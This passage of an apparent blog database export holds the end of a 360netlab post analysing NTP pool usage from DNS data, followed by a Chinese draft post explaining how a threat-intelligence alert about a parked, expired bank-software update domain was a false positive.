\"-pcn.pool.ntp.org\"\n 320 \"n.pool.ntp.org\"\n 320 \"america.pool.ntp.org\"\n 215 \"2.euleros.pool.ntp.org\"\n 205 \"2.android2.pool.ntp.org\"\n 198 \"0.euleros.pool.ntp.org\"\n 192 \"2.android1.pool.ntp.org\"\n 190 \"3.euleros.pool.ntp.org\"\n 185 \"1.euleros.pool.ntp.org\"\n 178 \"4.cn.pool.ntp.org\"\n 157 \"172.130.192.250.cn.pool.ntp.org\"\n 136 \"norch-america.pool.ntp.org\"\n 136 \"1.librecmc.pool.ntp.org\"\n 129 \"2.librecmc.pool.ntp.org\"\n 125 \"qqqqqqq2.android.pool.ntp.org\"\n 121 \"0.librecmc.pool.ntp.org\"\n 119 \"aisa.pool.ntp.org\"\n 118 \"3.librecmc.pool.ntp.org\"\n 103 \"0.isoft.pool.ntp.org\"\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/05/cdf-1.png"}],["markdown",{"markdown":"1. When we have massive amount of DNS data, various services that use DNS can be well evaluated. NTP pool is a typical example.\n2. The number of server IPs in the NTP pool is around 4,000, and the number of users far exceeds 15 million.\n3. Domestically, there are not many servers participating NTP pool service and the servers are mainly concentrated in Hong Kong and Taiwan. In mainland China it is mainly concentrated in developed provinces and cities such as Guangdong and Beijing.\n4.\tThe access to the NTP pool subdomain is generally successful from a geographical point of view. However, in China, there are large load differences between different servers.\n5.\tAbout 3% of the domain names requested by the NTP pool are invalid, and almost all the invalid domain names have never provied time synchronization service.\n6.\tDNS request data from the vendor-type subdomain of the NTP pool can be a good assessment of the size and business of specific vendors. "}]],"markups":[["strong"],["a",["href","https://zh.wikipedia.org/wiki/NTP_pool"]],["a",["href","https://www.ntppool.org/en/vendors.html"]],["a",["href","https://weberblog.net/why-should-i-run-own-ntp-servers/"]],["a",["href","https://www.pool.ntp.org/en/vendors.html#pool-capacity"]],["a",["href","https://www.ntppool.org/zone"]]],"sections":[[1,"p",[[0,[],0,"With the rapid development of the Internet, more and more people have realized the importance of network infrastructure. We don’t hear people talk about NTP ( "],[0,[0],1,"N"],[0,[],0,"etwork "],[0,[0],1,"T"],[0,[],0,"ime "],[0,[0],1,"P"],[0,[],0,"rotocol) much though."]]],[1,"p",[[0,[],0,"Whether NTP can work well will affect the operation of most time-based computer system. For example, IPSEC tunnel establishment, TLS certificate validity verification, personal password expiration, crontab task execution, DNSSEC expiration etc. [1]."]]],[1,"p",[[0,[],0,"The NTP protocol is similar to DNS and is one of the oldest protocols on the Internet. Its main function is to keep the time of the device synchronized as its name suggests. The operating systems we use, such as windows, Android or MacOS, are all equipped with their own NTP time server to synchronize the time on the device regularly."]]],[1,"h2",[[0,[],0,"What is NTP pool?"]]],[1,"p",[[0,[],0,"NTP pool project started in Jan 2003, the basic principle is that the domain name \"pool.ntp.org\" is divided into multiple sub-domains based on specific rules and DNS polling is used on these sub-domains to provide the required server IP address for the client to use."],[1,[],0,0],[0,[],0,"This technique is actually somewhat similar to the fastflux technology of DNS used by some malwares. For someone who does research on DNS fastflux detection, the pool.ntp.org is certainly no stranger."],[1,[],0,1],[0,[],0,"For more information about NTP pool, please refer "],[0,[1],1,"here"],[0,[],0," [2]."]]],[1,"h2",[[0,[],0,"DNSMon"]]],[1,"p",[[0,[],0,"DNSMon is a security system developed by 360netlab based on massive DNS data (about 5% of China DNS traffic) and combined with multi-dimensional data such as whois, web, sandbox, honeypot, etc. to conduct comprehensive analysis, extraction and interception of malicious domain names. Thousands of malicious and highly suspicious domain name blacklists can be generated every day, serving about 20 million users, and have been running steadily for 2.5 years. Under the premise of no rules, more than ten kinds of botnets such as MSRAMiner, GodLua, etc. have been intercepted for mining and DDoS purposes."]]],[1,"h2",[[0,[],0,"Look at NTP pool using DNS data"]]],[1,"p",[[0,[],0,"The use of a small number of domain names in the NTP pool is very common in our DNSMon system due to the huge amount of access requests, as well as a small number of dns names mapping to a large number of scattered IP addresses."]]],[1,"p",[[1,[],0,2],[0,[],0,"From the DNS perspective, in addition to being able to assess the scale of the NTP pool itself, it can also be used to measure some basic Internet services. After all, almost all networked devices must be time-synchronized. (We do see a small amount of devices having problem synchronizing time but that is less than 0.02%)."]]],[1,"p",[[1,[],0,3],[0,[],0,"The following analysis is based on the data we gathered from 20200519 18:00 CST to 20200520 18:00 CST 24-hour NTP pool data from our DNSMon."]]],[1,"h3",[[0,[],0,"Number of service users"]]],[1,"p",[[0,[],0,"On it’s official NTP pool website, it shows that the number of its users is between 5 million and 15 million [3], and the server IP is around 4000 [4]."],[1,[],0,4],[0,[],0,"During the 24-hour period, a total of 880,000 different clients accessed the time synchronization service provided by the NTP pool. Considering the data coverage of our system, the number of users who use the NTP pool time synchronization service in China is quite near the upper limit of the number of users declared on their official website."]]],[1,"h3",[[0,[],0,"servers"]]],[1,"h4",[[0,[],0,"Basic statistics"]]],[1,"p",[[0,[],0,"The number of NTP pool server IPs is 3758, including IPv6: 1028 and IPv4: 2730, distributed in 97 countries and regions around the world. It is mainly concentrated in countries with good developed networks such as the United States, Germany, France, Britain, Netherlands, and Canada. The specific distribution map is as follows:"]]],[10,0],[1,"h4",[[0,[],0,"NTP server in China"]]],[1,"p",[[0,[],0,"As can be seen from the above figure, the number of domestic NTP server IP accounts for only 2% of the total number of active IPs in the total NTP pool. This value is much lower than the proportion of other network services."],[1,[],0,5],[0,[],0,"There are 25 domestic operators in the NTP pool, the break downs is:"]]],[10,1],[1,"p",[[0,[],0,"From the geographical point of view, the domestic IP in the NTP pool is mainly concentrated in Hong Kong, Taiwan, Guangdong and Beijing. The specific distribution is as follows:"]]],[10,2],[1,"h4",[[0,[],0,"NTP pool subdomain distribution"]]],[1,"p",[[0,[],0,"At present, the categories of subdomains are mainly divided into three ways:"]]],[10,3],[1,"p",[[0,[],0,"Among them, the continents and countries are divided based on the concept of geographical zoning. The core idea is similar to the ECS in DNS. Try to provide an NTP server that is close to the geographical location of the user's source."]]],[1,"p",[[0,[],0,"The NTP pool for vendor provides sub-domain names with a high degree of identification for specific vendors (router vendors, operating systems, and other hardware and software vendors). Vendors can directly use the subdomains provided by NTP pool within their products. Something like this:"]]],[10,4],[1,"p",[[0,[],0,"Visit "],[0,[2],1,"here"],[0,[],0," for the NTP pool for vendor page here to get more details [5]."]]],[1,"h5",[[0,[],0,"Some Basic subdomain numbers"]]],[1,"p",[[0,[],0,"According to our statistics, within 24 hours, there are 682 NTP Pool domain names showed up in our DNSMon, including 534 valid subdomains and 148 invalid subdomains (see the next section). The sub-domain names on top of the list are as follows, as expected, mainly based on countries and regions such as: cn/hk/tw/jp/sg and visits based on Asia. The other perspective is based on the access of OS such as android/openwrt/centos, and the access of native [0-3] .pool.ntp.org."]]],[10,5],[1,"h5",[[0,[],0,"Differences in access by different vendors"]]],[1,"p",[[0,[],0,"Among the TOP subdomains, we see vendor names such as android / openwrt / centos. We digged into our data and have generated the following word cloud according to the number of visits:"]]],[10,6],[1,"p",[[1,[],0,6],[0,[],0,"The vendors include not only the common Linux releases, but also some network equipment manufacturers, as well as some consumer smart devices and security network products. From the security perspective, some users probably don’t really want their devices type to be leaked this way."]]],[1,"h5",[[0,[],0,"Invalid subdomain"]]],[1,"p",[[0,[],0,"We found that nearly 3% of the DNS request domain names of the NTP pool are invalid. There are 148 invalid domain names (except ap.pool.ntp. org, of which NTP time synchronization service was provided but later stopped, none of the remaining domain names have provided NTP time synchronization services)."]]],[10,7],[1,"p",[[0,[],0,"The TOP 50 domain name and the number of requests (accounting for 98.26% of the total number of invalid requests) are as follows:"]]],[10,8],[1,"h4",[[0,[],0,"NTP pool DNS polling efficiency"]]],[1,"p",[[0,[],0,"As mentioned earlier, the NTP pool uses DNS polling based on the pool subdomain to provide the required server IP to the client. Our DNSMon can measure the efficiency of its DNS polling by counting the rrset frequency of A / AAAA records in DNS."],[1,[],0,7],[0,[],0,"In theory, if the load balancing is good, the chances of different IPs combining into rrset are equal."],[1,[],0,8],[0,[],0,"However, due to the influence of geographic location, service capabilities of different servers, and service strategies of different servers in actual operation, the number of different IP combinations for rrset vary greatly. We noticed that the rrset composed of different server IPs returned to the user by the NTP pool is very different."],[1,[],0,9],[0,[],0,"Our data shows that there are 414,252 rrsets in 3758 IPs, of which TOP4000's rrset (1%) accounts for 41.21% of the total number of records. The cumulative distribution graph of different rrsets is as follows:"]]],[10,9],[1,"h2",[[0,[],0,"Conclusion"]]],[10,10],[1,"h2",[[0,[],0,"Reference materials"]]],[3,"ol",[[[0,[3],1,"https://weberblog.net/why-should-i-run-own-ntp-servers/"]],[[0,[1],1,"https://zh.wikipedia.org/wiki/NTP_pool"]],[[0,[4],1,"https://www.pool.ntp.org/en/vendors.html#pool-capacity"]],[[0,[5],1,"https://www.ntppool.org/zone"]],[[0,[2],1,"https://www.ntppool.org/en/vendors.html"]]]]],"ghostVersion":"3.0"} | 5ecb3b137646030007b27cb6 |
post | null | 2020-05-28T08:55:14.000Z | 63873b9a8b1c1e0007f52f74 | from-a-domain-story-to-threat-inteligence-and-others | 0 | 2020-06-01T03:52:49.000Z | public | draft | null | null | 关于威胁情报的产生及质量评估的一些思考 | <h2 id="-">背景</h2><p>360netlab从2014年8月份开始构建国内第一家公开的<a href="https://passivedns.cn">passiveDNS数据库</a>，以此为基础并结合360的海量多维度安全数据构建的DNSMon系统已经成为我们产生威胁情报的主要系统之一。之后在威胁情报行业中，passiveDNS成为了基础设施，是产生情报的来源之一，也是溯源分析的必备工具。在安全防护方面，基于黑域名的封堵也成了威胁情报在实际使用中的常规手段。</p><p>不过威胁情报究竟好不好用，大家众说纷纭。网上有不少的文章谈及到威胁威胁情报的质量以及如何对其质量进行评测。但一直没有形成成熟的行业标准。不过，即使有这么一个标准，并且执行的也很好，面对纷繁的网络，多变的数据，是否就万事大吉了？</p><p>恐怕实际情况并没有那么简单，本文用一个最近发生的例子来说明在真实环境下使用威胁情报的复杂性。</p><h2 id="--1">真实例子：</h2><!--kg-card-begin: markdown--><p>收到公司的售后咨询:<br>
<strong>某省某厅发现流量里面发现某些IP同国外恶意IP：204.11.56.48【情报标签：MAGNALLIUM威胁组织、远控、矿池、CryptoWall勒索软件】进行了多次异常通信，内部IP主动请求网站 <em>www.ibankupdate.com</em> ，请求体大小固定并且采用了加密手段，加密手段未知暂时无法解密，高度怀疑为http隧道通信/控制行为。</strong></p>
<p>经过分析，我认为这是一次误报，虚惊一场。<br>
有这么多恶意标签的IP为什么会是误报呢？本文接下来具体说说。</p>
<!--kg-card-end: markdown--><h2 id="--2">展开说说</h2><h3 id="--3">先说域名</h3><!--kg-card-begin: markdown--><h4 id="whois">whois数据</h4>
<p>通过DNSMon查看<em>www.ibankupdate.com</em> 的<strong>历史whois数据</strong>，我们发现这个域名最开始属于北京科蓝软件系统公司。不过由于未知原因，该域名在2016年3月8日过期之后没有再续费。之后2016年5月份到2017年5月份该域名的流转到国内的金米网（www.jinmi.com），到期之后，2017年7月份转到了New Ventures Services, Corp的手里一直持有到现在（2020年5月28日）。<br>
切换历史的具体信息参见下图：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2020/05/whois_history.png" class="kg-image" alt loading="lazy"><figcaption>ibankupdate.com的whois历史记录</figcaption></figure><h4 id="--4">访问域名的样本</h4><p>查询样本访问数据，我们发现样本：ffc4099ddb4747e111fc932e8587f4c5 对这个域名有较多的访问。通过查看样本的签名信息，发现其属于北京银盾思创网络技术有限公司，经过确认和北京科蓝软件系统公司是一家，由此可以进一步确认这个域名在历史上是有正常业务的。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/05/image-16.png" class="kg-image" alt loading="lazy"></figure><p>根据样本的描述信息可知：软件名称是SA-iKeeper的更新模块，而SA-iKeeper是一个网银管家系统。从科蓝软件的客户列表来看，其客户几乎囊括了国内大中小所有的银行。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/05/customers.jpg" class="kg-image" alt loading="lazy"></figure><p>不知道银行系统在护网期间是否关注过这个域名以及其目前对应的IP地址。</p><h4 id="-dns-">现有的DNS流量</h4><p>银盾思创的软件在域名过期之后，由于未知的原因，并没有及时对域名进行续费以保持业务，。</p><p>那么现在 <em>www.ibankupdate.com</em> 域名上的流量是什么样子呢？</p><p>从DNSMon看到持续访问 <em>www.ibankupdate.com</em> 的独立客户端数量在4000/hour 左右（实际大网用户保守估计在10万以上），并且表现出了明显的工作日和周末特征。因此该域名的客户端仍然是一个工作软件，与之前的业务模式类似。由此进而推断银盾思创在老域名过期之后，并没有升级软件（或者升级版本没有覆盖到全部客户）导致后续的业务流量迁移到新的域名上。</p><p>大量的DNS流量请求一个过期域名，并且DNS解析之后还有大量与该域名通信的HTTP流量，这不应该一个正常的现象，尤其是在银行这种重要的行业客户里面。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2020/05/dns_traffic.jpg" class="kg-image" alt loading="lazy"><figcaption>www.ibankupdate.com 的DNS流量表现出明显的上下班周期和工作日周期</figcaption></figure><h4 id="--5">现在域名持有人到底是谁，域名现在是什么状态？</h4><p>此域名在过期之后，被域名注册商接管。现在该域名的注册主体是New Ventures Services, Corp。</p><p>经过分析发现New Ventures Services, Corp 是network solutions的关联公司。</p><p>Network solutions是一个域名注册商，提供域名注册及主机托管，证书申请等业务。角色类似于godaddy。其旗下的web.com， networksolutions.com，register.com 三驾马车共同支撑业务。在过期域名抢注方面，主要依靠 “New Ventures Services, Corp” 实体完成。托管抢注域名及parking业务的主要是通过ztomy.com及其下子域名。</p><p>不过网上<a href="https://www.namepros.com/threads/network-solutions-new-ventures-services-corp-stole-my-domain.1055044/">有人反应</a>network solutions在域名抢注方面并没有很好的遵循ICANN的规范，在域名还没有到期或者没有执行相应的域名延长期的情况下，会把客户的域名转移到自己的名下，并高价出售，所以其名声并不好。具体请参考<a href="http://dotweekly.com/new-ventures-services-corp-who-are-they/ ">这里</a>和<a href="https://www.namepros.com/threads/network-solutions-new-ventures-services-corp-stole-my-domain.1055044/">这里</a>。 </p><p>至此，我们知道这个域名目前处于parking状态。</p><h3 id="-ip">再说IP</h3><p>Network solutions放置的parking域名的服务器：204.11.56.48（事实上204.11.56.48/24这个网段都是，现在我们只讨论这个IP）。使用的parking的NS服务器是 形如NS[0-9]{4,5}.ztomy.com和sk.s[0-9]{1}.ans[0-9]{1}.ns[0-9]{3}.ztomy.com样式的名称服务器。</p><h3 id="--6">再说 威胁情报</h3><p>这个域名停靠的IP(204.11.56.48) 如果你只看现有威胁情报平台的话，黑的不得了。各类开源情报对其描述也十分详尽。可惜这些标签都是错的。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2020/05/threat_intelligence.png" class="kg-image" alt loading="lazy"><figcaption>不同厂家对202.11.56.48的威胁情报的判定</figcaption></figure><p>事实是这个IP就是一个停靠过期域名的一个服务器。威胁情报平台中描述的那些恶意家族极有可能仅仅是过期了，被鸡贼的New Ventures Services, Corp抢注了然后挂到了自己的parking服务器而已。而情报厂商利用DNS数据就由此言之凿凿的产生所谓的威胁情报似乎有点不太严肃。</p><p>当然，如果从安全的角度来说，基于现有的判定，对这个IP进行封堵，对严格的商业客户来说也没有问题。不过错误的标签会浪费分析人员的时间和精力，对最终的结论也会是错误的判定。</p><h6 id="you-can-you-up-no-can-no-bb">you can you up, no can no BB</h6><p>事实上，ibankupdate.com使用的两个NS服务器在2015年8月份的时候，就被DNSMon标定为停靠域名服务器了，利用这个不是威胁情报的情报，可以快速的推断出www.ibankupdate.com目前的状态，再验证一下IP和域名的对应关系即可，而不必再花太多的精力在分析那些标定在IP上的恶意标签，甚至需要安服人员去现场分析日志样本等繁杂的工作了。有图有真相：</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2020/05/2626_ztomy_netlab.png" class="kg-image" alt loading="lazy"><figcaption>ns2626.ztomy.com被DNSMon标记为域名停靠服务器</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2020/05/1626_ztomy_netlab.png" class="kg-image" alt loading="lazy"><figcaption>ns1626.ztomy.com被DNSMon标记为域名停靠服务器</figcaption></figure><h2 id="--7">简单总结</h2><!--kg-card-begin: markdown--><ul>
<li>这次安全事件的反馈是一次由不精准情报引起的误报。</li>
<li>软件厂商在域名快要过期之前没有及时续费导致域名进入parking状态。同一parking服务器上又parking了曾经真实的恶意域名导致parking服务器的IP地址被标定为恶意IP是导致这次误报的原因。</li>
<li>在应用方面，软件厂商在域名被parking之后，没有升级软件将业务流量切换到新的业务域名上，有可能会导致一定程度上的数据泄漏。尤其是parking服务器托管方，如果对这些已经过期域名（expire domain）上的流量继续侦听的话，某些关键业务的过期域名会可能导致（敏感）信息泄漏。通常的DLP产品恐怕很难发现这种类型的数据泄漏。</li>
<li>威胁情报厂商在产生情报的时候，务必要精准。只有精准的情报可以节省分析人员的大量时间和精力，才能带给客户价值。精准情报的产生有很高的门槛，比如本水文中就用到了历史悠久的passiveDNS数据，历史悠久的域名访问量曲线，历史悠久的whois记录数据并需要广泛的数据关联（比如把network solutions和New Ventures Services, Corp进行关联并对其信誉进行评价等）。</li>
</ul>
<!--kg-card-end: markdown--> | 背景
360netlab从2014年8月份开始构建国内第一家公开的passiveDNS数据库，以此为基础并结合360的海量多维度安全数据构建的DNSMon系统已经成为我们产生威胁情报的主要系统之一。之后在威胁情报行业中，passiveDNS成为了基础设施，是产生情报的来源之一，也是溯源分析的必备工具。在安全防护方面，基于黑域名的封堵也成了威胁情报在实际使用中的常规手段。
不过威胁情报究竟好不好用，大家众说纷纭。网上有不少的文章谈及到威胁威胁情报的质量以及如何对其质量进行评测。但一直没有形成成熟的行业标准。不过，即使有这么一个标准，并且执行的也很好，面对纷繁的网络，多变的数据，是否就万事大吉了？
恐怕实际情况并没有那么简单，本文用一个最近发生的例子来说明在真实环境下使用威胁情报的复杂性。
真实例子：
收到公司的售后咨询:
某省某厅发现流量里面发现某些IP同国外恶意IP：204.11.56.48【情报标签：MAGNALLIUM威胁组织、远控、矿池、CryptoWall勒索软件】进行了多次异常通信，内部IP主动请求网站 www.ibankupdate.com ，请求体大小固定并且采用了加密手段，加密手段未知暂时无法解密，高度怀疑为http隧道通信/控制行为。
经过分析，我认为这是一次误报，虚惊一场。
有这么多恶意标签的IP为什么会是误报呢？本文接下来具体说说。
展开说说
先说域名
whois数据
通过DNSMon查看www.ibankupdate.com 的历史whois数据，我们发现这个域名最开始属于北京科蓝软件系统公司。不过由于未知原因，该域名在2016年3月8日过期之后没有再续费。之后2016年5月份到2017年5月份该域名的流转到国内的金米网（www.jinmi.com），到期之后，2017年7月份转到了New Ventures Services, Corp的手里一直持有到现在（2020年5月28日）。
切换历史的具体信息参见下图：
访问域名的样本
查询样本访问数据，我们发现样本：ffc4099ddb4747e111fc932e8587f4c5 对这个域名有较多的访问。通过查看样本的签名信息，发现其属于北京银盾思创网络技术有限公司，经过确认和北京科蓝软件系统公司是一家，由此可以进一步确认这个域名在历史上是有正常业务的。
根据样本的描述信息可知：软件名称是SA-iKeeper的更新模块，而SA-iKeeper是一个网银管家系统。从科蓝软件的客户列表来看，其客户几乎囊括了国内大中小所有的银行。
不知道银行系统在护网期间是否关注过这个域名以及其目前对应的IP地址。
现有的DNS流量
银盾思创的软件在域名过期之后，由于未知的原因，并没有及时对域名进行续费以保持业务，。
那么现在 www.ibankupdate.com 域名上的流量是什么样子呢？
从DNSMon看到持续访问 www.ibankupdate.com 的独立客户端数量在4000/hour 左右（实际大网用户保守估计在10万以上），并且表现出了明显的工作日和周末特征。因此该域名的客户端仍然是一个工作软件，与之前的业务模式类似。由此进而推断银盾思创在老域名过期之后，并没有升级软件（或者升级版本没有覆盖到全部客户）导致后续的业务流量迁移到新的域名上。
大量的DNS流量请求一个过期域名，并且DNS解析之后还有大量与该域名通信的HTTP流量，这不应该一个正常的现象，尤其是在银行这种重要的行业客户里面。
现在域名持有人到底是谁，域名现在是什么状态？
此域名在过期之后，被域名注册商接管。现在该域名的注册主体是New Ventures Services, Corp。
经过分析发现New Ventures Services, Corp 是network solutions的关联公司。
Network solutions是一个域名注册商，提供域名注册及主机托管，证书申请等业务。角色类似于godaddy。其旗下的web.com， networksolutions.com，register.com 三驾马车共同支撑业务。在过期域名抢注方面，主要依靠 “New Ventures Services, Corp” 实体完成。托管抢注域名及parking业务的主要是通过ztomy.com及其下子域名。
不过网上有人反应network solutions在域名抢注方面并没有很好的遵循ICANN的规范，在域名还没有到期或者没有执行相应的域名延长期的情况下，会把客户的域名转移到自己的名下，并高价出售，所以其名声并不好。具体请参考这里和这里。
至此，我们知道这个域名目前处于parking状态。
再说IP
Network solutions放置的parking域名的服务器：204.11.56.48（事实上204.11.56.48/24这个网段都是，现在我们只讨论这个IP）。使用的parking的NS服务器是 形如NS[0-9]{4,5}.ztomy.com和sk.s[0-9]{1}.ans[0-9]{1}.ns[0-9]{3}.ztomy.com样式的名称服务器。
再说 威胁情报
这个域名停靠的IP(204.11.56.48) 如果你只看现有威胁情报平台的话，黑的不得了。各类开源情报对其描述也十分详尽。可惜这些标签都是错的。
事实是这个IP就是一个停靠过期域名的一个服务器。威胁情报平台中描述的那些恶意家族极有可能仅仅是过期了，被鸡贼的New Ventures Services, Corp抢注了然后挂到了自己的parking服务器而已。而情报厂商利用DNS数据就由此言之凿凿的产生所谓的威胁情报似乎有点不太严肃。
当然，如果从安全的角度来说，基于现有的判定，对这个IP进行封堵，对严格的商业客户来说也没有问题。不过错误的标签会浪费分析人员的时间和精力，对最终的结论也会是错误的判定。
you can you up, no can no BB
事实上，ibankupdate.com使用的两个NS服务器在2015年8月份的时候，就被DNSMon标定为停靠域名服务器了，利用这个不是威胁情报的情报，可以快速的推断出www.ibankupdate.com目前的状态，再验证一下IP和域名的对应关系即可，而不必再花太多的精力在分析那些标定在IP上的恶意标签，甚至需要安服人员去现场分析日志样本等繁杂的工作了。有图有真相：
简单总结
* 这次安全事件的反馈是一次由不精准情报引起的误报。
* 软件厂商在域名快要过期之前没有及时续费导致域名进入parking状态。同一parking服务器上又parking了曾经真实的恶意域名导致parking服务器的IP地址被标定为恶意IP是导致这次误报的原因。
* 在应用方面，软件厂商在域名被parking之后，没有升级软件将业务流量切换到新的业务域名上，有可能会导致一定程度上的数据泄漏。尤其是parking服务器托管方，如果对这些已经过期域名（expire domain）上的流量继续侦听的话，某些关键业务的过期域名会可能导致（敏感）信息泄漏。通常的DLP产品恐怕很难发现这种类型的数据泄漏。
* 威胁情报厂商在产生情报的时候，务必要精准。只有精准的情报可以节省分析人员的大量时间和精力，才能带给客户价值。精准情报的产生有很高的门槛，比如本水文中就用到了历史悠久的passiveDNS数据，历史悠久的域名访问量曲线，历史悠久的whois记录数据并需要广泛的数据关联（比如把network solutions和New Ventures Services, Corp进行关联并对其信誉进行评价等）。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"收到公司的售后咨询:\n**某省某厅发现流量里面发现某些IP同国外恶意IP：204.11.56.48【情报标签：MAGNALLIUM威胁组织、远控、矿池、CryptoWall勒索软件】进行了多次异常通信，内部IP主动请求网站 *www.ibankupdate.com* ，请求体大小固定并且采用了加密手段，加密手段未知暂时无法解密，高度怀疑为http隧道通信/控制行为。**\n\n经过分析，我认为这是一次误报，虚惊一场。\n有这么多恶意标签的IP为什么会是误报呢？本文接下来具体说说。"}],["markdown",{"markdown":"#### whois数据\n通过DNSMon查看*www.ibankupdate.com* 的**历史whois数据**，我们发现这个域名最开始属于北京科蓝软件系统公司。不过由于未知原因，该域名在2016年3月8日过期之后没有再续费。之后2016年5月份到2017年5月份该域名的流转到国内的金米网（www.jinmi.com），到期之后，2017年7月份转到了New Ventures Services, Corp的手里一直持有到现在（2020年5月28日）。\n切换历史的具体信息参见下图："}],["image",{"src":"__GHOST_URL__/content/images/2020/05/whois_history.png","caption":"ibankupdate.com的whois历史记录"}],["image",{"src":"__GHOST_URL__/content/images/2020/05/image-16.png"}],["image",{"src":"__GHOST_URL__/content/images/2020/05/customers.jpg"}],["image",{"src":"__GHOST_URL__/content/images/2020/05/dns_traffic.jpg","caption":"www.ibankupdate.com 的DNS流量表现出明显的上下班周期和工作日周期"}],["image",{"caption":"不同厂家对202.11.56.48的威胁情报的判定","src":"__GHOST_URL__/content/images/2020/05/threat_intelligence.png"}],["image",{"src":"__GHOST_URL__/content/images/2020/05/2626_ztomy_netlab.png","caption":"ns2626.ztomy.com被DNSMon标记为域名停靠服务器"}],["image",{"src":"__GHOST_URL__/content/images/2020/05/1626_ztomy_netlab.png","caption":"ns1626.ztomy.com被DNSMon标记为域名停靠服务器"}],["markdown",{"markdown":"* 这次安全事件的反馈是一次由不精准情报引起的误报。\n* 软件厂商在域名快要过期之前没有及时续费导致域名进入parking状态。同一parking服务器上又parking了曾经真实的恶意域名导致parking服务器的IP地址被标定为恶意IP是导致这次误报的原因。\n* 在应用方面，软件厂商在域名被parking之后，没有升级软件将业务流量切换到新的业务域名上，有可能会导致一定程度上的数据泄漏。尤其是parking服务器托管方，如果对这些已经过期域名（expire domain）上的流量继续侦听的话，某些关键业务的过期域名会可能导致（敏感）信息泄漏。通常的DLP产品恐怕很难发现这种类型的数据泄漏。\n* 威胁情报厂商在产生情报的时候，务必要精准。只有精准的情报可以节省分析人员的大量时间和精力，才能带给客户价值。精准情报的产生有很高的门槛，比如本水文中就用到了历史悠久的passiveDNS数据，历史悠久的域名访问量曲线，历史悠久的whois记录数据并需要广泛的数据关联（比如把network solutions和New Ventures Services, Corp进行关联并对其信誉进行评价等）。"}]],"markups":[["a",["href","https://passivedns.cn"]],["em"],["a",["href","https://www.namepros.com/threads/network-solutions-new-ventures-services-corp-stole-my-domain.1055044/"]],["a",["href","http://dotweekly.com/new-ventures-services-corp-who-are-they/ "]]],"sections":[[1,"h2",[[0,[],0,"背景"]]],[1,"p",[[0,[],0,"360netlab从2014年8月份开始构建国内第一家公开的"],[0,[0],1,"passiveDNS数据库"],[0,[],0,"，以此为基础并结合360的海量多维度安全数据构建的DNSMon系统已经成为我们产生威胁情报的主要系统之一。之后在威胁情报行业中，passiveDNS成为了基础设施，是产生情报的来源之一，也是溯源分析的必备工具。在安全防护方面，基于黑域名的封堵也成了威胁情报在实际使用中的常规手段。"]]],[1,"p",[[0,[],0,"不过威胁情报究竟好不好用，大家众说纷纭。网上有不少的文章谈及到威胁威胁情报的质量以及如何对其质量进行评测。但一直没有形成成熟的行业标准。不过，即使有这么一个标准，并且执行的也很好，面对纷繁的网络，多变的数据，是否就万事大吉了？"]]],[1,"p",[[0,[],0,"恐怕实际情况并没有那么简单，本文用一个最近发生的例子来说明在真实环境下使用威胁情报的复杂性。"]]],[1,"h2",[[0,[],0,"真实例子："]]],[10,0],[1,"h2",[[0,[],0,"展开说说"]]],[1,"h3",[[0,[],0,"先说域名"]]],[10,1],[10,2],[1,"h4",[[0,[],0,"访问域名的样本"]]],[1,"p",[[0,[],0,"查询样本访问数据，我们发现样本：ffc4099ddb4747e111fc932e8587f4c5 对这个域名有较多的访问。通过查看样本的签名信息，发现其属于北京银盾思创网络技术有限公司，经过确认和北京科蓝软件系统公司是一家，由此可以进一步确认这个域名在历史上是有正常业务的。"]]],[10,3],[1,"p",[[0,[],0,"根据样本的描述信息可知：软件名称是SA-iKeeper的更新模块，而SA-iKeeper是一个网银管家系统。从科蓝软件的客户列表来看，其客户几乎囊括了国内大中小所有的银行。"]]],[10,4],[1,"p",[[0,[],0,"不知道银行系统在护网期间是否关注过这个域名以及其目前对应的IP地址。"]]],[1,"h4",[[0,[],0,"现有的DNS流量"]]],[1,"p",[[0,[],0,"银盾思创的软件在域名过期之后，由于未知的原因，并没有及时对域名进行续费以保持业务，。"]]],[1,"p",[[0,[],0,"那么现在 "],[0,[1],1,"www.ibankupdate.com"],[0,[],0," 域名上的流量是什么样子呢？"]]],[1,"p",[[0,[],0,"从DNSMon看到持续访问 "],[0,[1],1,"www.ibankupdate.com"],[0,[],0," 的独立客户端数量在4000/hour 左右（实际大网用户保守估计在10万以上），并且表现出了明显的工作日和周末特征。因此该域名的客户端仍然是一个工作软件，与之前的业务模式类似。由此进而推断银盾思创在老域名过期之后，并没有升级软件（或者升级版本没有覆盖到全部客户）导致后续的业务流量迁移到新的域名上。"]]],[1,"p",[[0,[],0,"大量的DNS流量请求一个过期域名，并且DNS解析之后还有大量与该域名通信的HTTP流量，这不应该一个正常的现象，尤其是在银行这种重要的行业客户里面。"]]],[10,5],[1,"h4",[[0,[],0,"现在域名持有人到底是谁，域名现在是什么状态？"]]],[1,"p",[[0,[],0,"此域名在过期之后，被域名注册商接管。现在该域名的注册主体是New Ventures Services, Corp。"]]],[1,"p",[[0,[],0,"经过分析发现New Ventures Services, Corp 是network solutions的关联公司。"]]],[1,"p",[[0,[],0,"Network solutions是一个域名注册商，提供域名注册及主机托管，证书申请等业务。角色类似于godaddy。其旗下的web.com， networksolutions.com，register.com 三驾马车共同支撑业务。在过期域名抢注方面，主要依靠 “New Ventures Services, Corp” 实体完成。托管抢注域名及parking业务的主要是通过ztomy.com及其下子域名。"]]],[1,"p",[[0,[],0,"不过网上"],[0,[2],1,"有人反应"],[0,[],0,"network solutions在域名抢注方面并没有很好的遵循ICANN的规范，在域名还没有到期或者没有执行相应的域名延长期的情况下，会把客户的域名转移到自己的名下，并高价出售，所以其名声并不好。具体请参考"],[0,[3],1,"这里"],[0,[],0,"和"],[0,[2],1,"这里"],[0,[],0,"。 "]]],[1,"p",[[0,[],0,"至此，我们知道这个域名目前处于parking状态。"]]],[1,"h3",[[0,[],0,"再说IP"]]],[1,"p",[[0,[],0,"Network 